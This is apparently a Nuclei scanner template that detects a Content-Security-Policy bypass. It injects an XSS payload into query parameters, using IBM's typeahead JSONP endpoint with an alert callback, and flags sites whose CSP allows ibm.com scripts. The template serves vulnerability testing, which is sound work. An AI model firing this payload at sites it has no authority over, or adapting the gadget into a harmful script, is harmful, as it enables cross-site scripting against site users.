id: ibm-api-csp-bypass

info:
  name: Content-Security-Policy Bypass - IBM API
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,ibm-api,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "ibm.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: ibm_api_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://www-api.ibm.com/search/typeahead/v1?lang=en&cc=us&query=l&callback=alert"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "ibm_api_csp_xss == true"
# digest: 4b0a00483046022100e5e698a83c4ab4474d6fa357e259e518eeb5e6666e535a9bf5c1741044c1671f022100ae20182f457c5932221a0edb904355915f5a042f740efe5bf4e21eca60c191b3:922c64590222798bb761d5b6d8e72950